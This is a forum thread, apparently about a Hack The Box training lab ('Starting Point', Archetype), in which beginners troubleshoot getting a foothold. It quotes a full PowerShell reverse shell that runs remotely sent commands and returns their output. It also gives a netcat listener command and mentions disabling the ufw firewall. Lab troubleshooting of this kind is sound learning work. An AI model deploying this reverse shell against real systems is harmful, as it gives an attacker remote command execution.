Starting Point - Foothold


Sorry in advance for newbie question but my kali-linux don’t take a command:

“Let’s attempt to get a proper shell, and proceed to further enumerate the system. We can save the PowerShell reverse shell below as shell.ps1.”

$client = New-Object System.Net.Sockets.TCPClient(“”,443);$stream = $client.GetStream();[byte[]]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

When i put this command in SQL > have this error:

[-] ERROR(ARCHETYPE): Line 1: Incorrect syntax near ‘$client’.
[-] ERROR(ARCHETYPE): Line 1: The identifier that starts with ‘byte[]$bytes = 0…65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Te’ is too long. Maximum length is 128.

Where wrong?

looks like you’re entering powershell code in the wrong place. What do you mean when you say you “put this command in SQL” ? The instructions seem to be telling you to create a file called shell.ps1 and put this code in there.

Hi I created the file. Moving on to the next stesp gives me this error. I can not find it? I saved the file locally, do I have to move it somewhere? Thanks
Unable to connect to the remote server"

So if i understood u trying to have a reverse shell on a windows machine, u saying that u don’t find ur file and in the same time if u need to move it somewhere, if u created the file i think u know where the file is.

For the error, if it’s “Unable to connect to remote server”, r u sure u listen on the specific port that u set for that shell to get back to u ?

Hi, yes I created the file, I saved it locally in my kali linux. Where should I move it?
Can’t find shell.ps1?

Sorry for the question, I created this shell.ps1, in which folder should I put it? I have some open terminals (all the steps of the “Starting Point”) I am lost.

@VbScrub @Caracal : Guys, I saved the file locally. In which dir should it be inserted?


ok i have my first flag ahahahah…
Solution: i have remove command ufw… and open in a new terminal this:
sudo nc -lvnp 443